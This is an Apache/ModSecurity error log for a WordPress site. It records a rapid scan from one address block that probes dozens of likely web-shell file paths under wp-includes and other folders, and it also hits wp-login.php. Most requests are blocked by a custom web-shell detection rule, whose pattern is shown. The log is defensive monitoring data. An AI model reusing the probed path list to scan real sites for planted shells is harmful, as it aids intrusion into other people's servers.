[Sun Mar 15 04:34:59.679939 2026] [:error] [pid 9995:tid 10013] [client 98.159.43.155:28393] [client 98.159.43.155] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/SimplePie/applicationd.php"] [unique_id "abXGcwa8xkcaSmgTbwi1kwAAAQ8"]
[Sun Mar 15 04:35:00.046965 2026] [:error] [pid 38540:tid 38599] [client 98.159.43.115:63759] [client 98.159.43.115] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/theme-compat/about.php"] [unique_id "abXGdF8bnHsJ1dE90bLXDAAAAE0"]
[Sun Mar 15 04:35:00.468138 2026] [:error] [pid 38536:tid 38563] [client 98.159.43.129:30045] [client 98.159.43.129] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/PHPMailer/options.php"] [unique_id "abXGdPpTEqkVJ0rBEWto7QAAAAo"]
[Sun Mar 15 04:35:00.916642 2026] [:error] [pid 38645:tid 38664] [client 98.159.43.154:42629] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-conflg.php
[Sun Mar 15 04:35:01.491460 2026] [:error] [pid 38645:tid 38661] [client 98.159.43.154:42629] [client 98.159.43.154] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/calendar/index.php"] [unique_id "abXGdRFPHtsDUuVrWDZIMgAAAM4"]
[Sun Mar 15 04:35:04.046901 2026] [:error] [pid 38645:tid 38671] [client 98.159.43.116:52483] [client 98.159.43.116] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/IXR/index.php"] [unique_id "abXGeBFPHtsDUuVrWDZISAAAANg"]
[Sun Mar 15 04:35:04.247331 2026] [:error] [pid 9995:tid 10000] [client 98.159.43.113:26147] [client 98.159.43.113] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/as.php"] [unique_id "abXGeAa8xkcaSmgTbwi12QAAAQI"]
[Sun Mar 15 04:35:04.689155 2026] [:error] [pid 38540:tid 38607] [client 98.159.43.123:60229] [client 98.159.43.123] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/dist/edit-widgets/about.php"] [unique_id "abXGeF8bnHsJ1dE90bLXVQAAAFU"]
[Sun Mar 15 04:35:05.318091 2026] [:error] [pid 38540:tid 38596] [client 98.159.43.136:24785] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/content.php
[Sun Mar 15 04:35:05.589549 2026] [:error] [pid 38540:tid 38599] [client 98.159.43.136:24785] [client 98.159.43.136] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/bk/index.php"] [unique_id "abXGeV8bnHsJ1dE90bLXZwAAAE0"]
[Sun Mar 15 04:35:06.106851 2026] [:error] [pid 38541:tid 38617] [client 98.159.43.147:60963] [client 98.159.43.147] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Text/about.php"] [unique_id "abXGenuOpex8jIO0jt6-bgAAAIQ"]
[Sun Mar 15 04:35:06.456687 2026] [:error] [pid 38541:tid 38625] [client 98.159.43.112:29101] [client 98.159.43.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/index.php"] [unique_id "abXGenuOpex8jIO0jt6-dAAAAIw"]
[Sun Mar 15 04:35:06.808426 2026] [:error] [pid 38541:tid 38637] [client 98.159.43.163:51993] [client 98.159.43.163] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/crop/admin.php"] [unique_id "abXGenuOpex8jIO0jt6-eQAAAJg"]
[Sun Mar 15 04:35:07.445451 2026] [:error] [pid 38540:tid 38587] [client 98.159.43.123:27397] [client 98.159.43.123] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/style-engine/bypass.php"] [unique_id "abXGe18bnHsJ1dE90bLXdgAAAEE"]
[Sun Mar 15 04:35:07.778489 2026] [:error] [pid 38536:tid 38574] [client 98.159.43.106:43439] [client 98.159.43.106] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/table/int/tmpl/index.php"] [unique_id "abXGe_pTEqkVJ0rBEWtpCgAAABU"]
[Sun Mar 15 04:35:08.448113 2026] [:error] [pid 38536:tid 38558] [client 98.159.43.122:33345] [client 98.159.43.122] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/images/media/index.php"] [unique_id "abXGfPpTEqkVJ0rBEWtpGAAAAAU"]
[Sun Mar 15 04:35:09.099917 2026] [:error] [pid 38540:tid 38590] [client 98.159.43.119:47727] [client 98.159.43.119] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/item.php"] [unique_id "abXGfV8bnHsJ1dE90bLXiQAAAEQ"]
[Sun Mar 15 04:35:09.322286 2026] [:error] [pid 38645:tid 38671] [client 98.159.43.147:59061] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/index.php
[Sun Mar 15 04:35:09.910040 2026] [:error] [pid 38645:tid 38668] [client 98.159.43.147:59061] File does not exist: /usr/local/apache/htdocs/suspended-page/customize.php
[Sun Mar 15 04:35:10.235152 2026] [:error] [pid 38645:tid 38660] [client 98.159.43.147:59061] [client 98.159.43.147] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/rk2.php"] [unique_id "abXGfhFPHtsDUuVrWDZIhgAAAM0"]
[Sun Mar 15 04:35:10.416092 2026] [:error] [pid 38541:tid 38625] [client 98.159.43.108:40015] [client 98.159.43.108] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/ln/wp-login.php"] [unique_id "abXGfnuOpex8jIO0jt6-nQAAAIw"]
[Sun Mar 15 04:35:10.849805 2026] [:error] [pid 9995:tid 10019] [client 98.159.43.134:43595] [client 98.159.43.134] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/jquery/suggest.php"] [unique_id "abXGfga8xkcaSmgTbwi2PgAAARU"]
[Sun Mar 15 04:35:11.078176 2026] [:error] [pid 38541:tid 38635] [client 98.159.43.140:55541] [client 98.159.43.140] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/wp-class.php"] [unique_id "abXGf3uOpex8jIO0jt6-ogAAAJY"]
[Sun Mar 15 04:35:11.408443 2026] [:error] [pid 38540:tid 38593] [client 98.159.43.140:25465] [client 98.159.43.140] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 98.159.43.140, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/js/wp-login.php"] [unique_id "abXGf18bnHsJ1dE90bLXrwAAAEc"]
[Sun Mar 15 04:35:11.527862 2026] [:error] [pid 38540:tid 38604] [client 98.159.43.140:25465] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/about.php
[Sun Mar 15 04:35:12.305999 2026] [:error] [pid 38540:tid 38592] [client 98.159.43.140:25465] [client 98.159.43.140] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "abXGgF8bnHsJ1dE90bLXwAAAAEY"]
[Sun Mar 15 04:35:12.685048 2026] [:error] [pid 38645:tid 38656] [client 98.159.43.146:43079] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-configs.php
[Sun Mar 15 04:35:12.777364 2026] [:error] [pid 38645:tid 38650] [client 98.159.43.146:43079] [client 98.159.43.146] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/images/include.php"] [unique_id "abXGgBFPHtsDUuVrWDZIlAAAAMM"]
[Sun Mar 15 04:35:13.280351 2026] [:error] [pid 9995:tid 10015] [client 98.159.43.140:47801] [client 98.159.43.140] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/assets/husky.php"] [unique_id "abXGgQa8xkcaSmgTbwi2iAAAARE"]
[Sun Mar 15 04:35:13.617690 2026] [:error] [pid 38645:tid 38647] [client 98.159.43.123:20377] [client 98.159.43.123] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Text/Diff/Engine/index.php"] [unique_id "abXGgRFPHtsDUuVrWDZInQAAAMA"]
[Sun Mar 15 04:35:13.831010 2026] [:error] [pid 38541:tid 38632] [client 98.159.43.131:33569] [client 98.159.43.131] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/images/smilies/index.php"] [unique_id "abXGgXuOpex8jIO0jt6-uAAAAJM"]
[Sun Mar 15 04:35:14.105522 2026] [:error] [pid 38645:tid 38649] [client 98.159.43.110:25873] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/admin.php
[Sun Mar 15 04:35:14.584003 2026] [:error] [pid 38645:tid 38652] [client 98.159.43.110:25873] [client 98.159.43.110] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/imgareaselect/wp-login.php"] [unique_id "abXGghFPHtsDUuVrWDZIsQAAAMU"]
[Sun Mar 15 04:35:14.886972 2026] [:error] [pid 38645:tid 38664] [client 98.159.43.133:29905] [client 98.159.43.133] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/click.php"] [unique_id "abXGghFPHtsDUuVrWDZItQAAANE"]
[Sun Mar 15 04:35:15.242760 2026] [:error] [pid 38541:tid 38624] [client 98.159.43.152:45077] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-files.php
[Sun Mar 15 04:35:15.337028 2026] [:error] [pid 38541:tid 38617] [client 98.159.43.152:45077] [client 98.159.43.152] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/install.php"] [unique_id "abXGg3uOpex8jIO0jt6-xgAAAIQ"]
[Sun Mar 15 04:35:15.822009 2026] [:error] [pid 38541:tid 38633] [client 98.159.43.120:22471] [client 98.159.43.120] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/certificates/admin.php"] [unique_id "abXGg3uOpex8jIO0jt6-ygAAAJQ"]
[Sun Mar 15 04:35:16.199812 2026] [:error] [pid 38645:tid 38660] [client 98.159.43.131:45761] [client 98.159.43.131] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/block-bindings/admin.php"] [unique_id "abXGhBFPHtsDUuVrWDZIwQAAAM0"]
[Sun Mar 15 04:35:16.586519 2026] [:error] [pid 38645:tid 38671] [client 98.159.43.153:34073] File does not exist: /usr/local/apache/htdocs/suspended-page/content.php
[Sun Mar 15 04:35:16.687840 2026] [:error] [pid 38645:tid 38666] [client 98.159.43.153:34073] [client 98.159.43.153] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/pomo/autoload_classmap.php"] [unique_id "abXGhBFPHtsDUuVrWDZIyQAAANM"]
[Sun Mar 15 04:35:17.016495 2026] [:error] [pid 38645:tid 38660] [client 98.159.43.131:45441] [client 98.159.43.131] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 98.159.43.131, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "abXGhRFPHtsDUuVrWDZI1AAAAM0"]
[Sun Mar 15 04:35:17.020011 2026] [:error] [pid 38645:tid 38660] [client 98.159.43.131:45441] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Sun Mar 15 04:35:17.107790 2026] [:error] [pid 38645:tid 38653] [client 98.159.43.131:45441] [client 98.159.43.131] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/index.php"] [unique_id "abXGhRFPHtsDUuVrWDZI2AAAAMY"]
[Sun Mar 15 04:35:17.713788 2026] [:error] [pid 9995:tid 10009] [client 98.159.43.141:46823] [client 98.159.43.141] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/about.php"] [unique_id "abXGhQa8xkcaSmgTbwi26QAAAQs"]
[Sun Mar 15 04:35:18.137879 2026] [:error] [pid 9995:tid 10004] [client 98.159.43.118:65043] [client 98.159.43.118] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 98.159.43.118, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/bltm/wp-login.php"] [unique_id "abXGhga8xkcaSmgTbwi2-wAAAQY"]
[Sun Mar 15 04:35:18.543303 2026] [:error] [pid 9995:tid 9998] [client 98.159.43.118:65043] [client 98.159.43.118] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/style-engine/index.php"] [unique_id "abXGhga8xkcaSmgTbwi3DgAAAQA"]
[Sun Mar 15 04:35:18.722466 2026] [:error] [pid 38540:tid 38610] [client 98.159.43.109:55409] [client 98.159.43.109] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/admin.php"] [unique_id "abXGhl8bnHsJ1dE90bLX8gAAAFg"]
[Sun Mar 15 04:35:18.949134 2026] [:error] [pid 9995:tid 10013] [client 98.159.43.139:64525] [client 98.159.43.139] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/rest-api/endpoints/index.php"] [unique_id "abXGhga8xkcaSmgTbwi3HwAAAQ8"]
[Sun Mar 15 04:35:19.186110 2026] [:error] [pid 38541:tid 38628] [client 98.159.43.152:37345] [client 98.159.43.152] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 98.159.43.152, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/user/wp-login.php"] [unique_id "abXGh3uOpex8jIO0jt6-1QAAAI8"]
[Sun Mar 15 04:35:19.602564 2026] [:error] [pid 38541:tid 38621] [client 98.159.43.152:37345] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/license.php
[Sun Mar 15 04:35:19.865814 2026] [:error] [pid 38541:tid 38629] [client 98.159.43.152:37345] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-links-opml.php
[Sun Mar 15 04:35:19.956172 2026] [:error] [pid 38541:tid 38637] [client 98.159.43.152:37345] [client 98.159.43.152] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/codemirror/index.php"] [unique_id "abXGh3uOpex8jIO0jt6-3gAAAJg"]
[Sun Mar 15 04:35:20.176309 2026] [:error] [pid 38541:tid 38631] [client 98.159.43.113:24337] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/plugins.php
[Sun Mar 15 04:35:20.410745 2026] [:error] [pid 38541:tid 38618] [client 98.159.43.113:24337] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-mail.php
[Sun Mar 15 04:35:20.652751 2026] [:error] [pid 38541:tid 38627] [client 98.159.43.113:24337] [client 98.159.43.113] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Requests/index.php"] [unique_id "abXGiHuOpex8jIO0jt6-5QAAAI4"]
[Sun Mar 15 04:35:20.860996 2026] [:error] [pid 38541:tid 38617] [client 98.159.43.161:52499] File does not exist: /usr/local/apache/htdocs/suspended-page/up.php
[Sun Mar 15 04:35:21.081338 2026] [:error] [pid 38541:tid 38615] [client 98.159.43.161:52499] [client 98.159.43.161] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/PHPMailer/index.php"] [unique_id "abXGiXuOpex8jIO0jt6-7QAAAII"]
[Sun Mar 15 04:35:21.523571 2026] [:error] [pid 9995:tid 10003] [client 98.159.43.129:45857] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/wp-load.php
[Sun Mar 15 04:35:21.673755 2026] [:error] [pid 9995:tid 10012] [client 98.159.43.129:45857] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/mah.php
[Sun Mar 15 04:35:21.834806 2026] [:error] [pid 9995:tid 10004] [client 98.159.43.129:45857] [client 98.159.43.129] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/class.api.php"] [unique_id "abXGiQa8xkcaSmgTbwi3ZwAAAQY"]
[Sun Mar 15 04:35:22.011988 2026] [:error] [pid 38645:tid 38659] [client 98.159.43.129:22979] [client 98.159.43.129] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Requests/about.php"] [unique_id "abXGihFPHtsDUuVrWDZJAQAAAMw"]
[Sun Mar 15 04:35:22.276410 2026] [:error] [pid 38540:tid 38603] [client 98.159.43.117:26247] [client 98.159.43.117] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/dist/edit-widgets/index.php"] [unique_id "abXGil8bnHsJ1dE90bLYGwAAAFE"]
[Sun Mar 15 04:35:22.716400 2026] [:error] [pid 38536:tid 38554] [client 98.159.43.122:44513] [client 98.159.43.122] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "abXGivpTEqkVJ0rBEWtplgAAAAE"]
[Sun Mar 15 04:35:22.896475 2026] [:error] [pid 38541:tid 38635] [client 98.159.43.139:54021] [client 98.159.43.139] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/edit.php"] [unique_id "abXGinuOpex8jIO0jt6-9gAAAJY"]
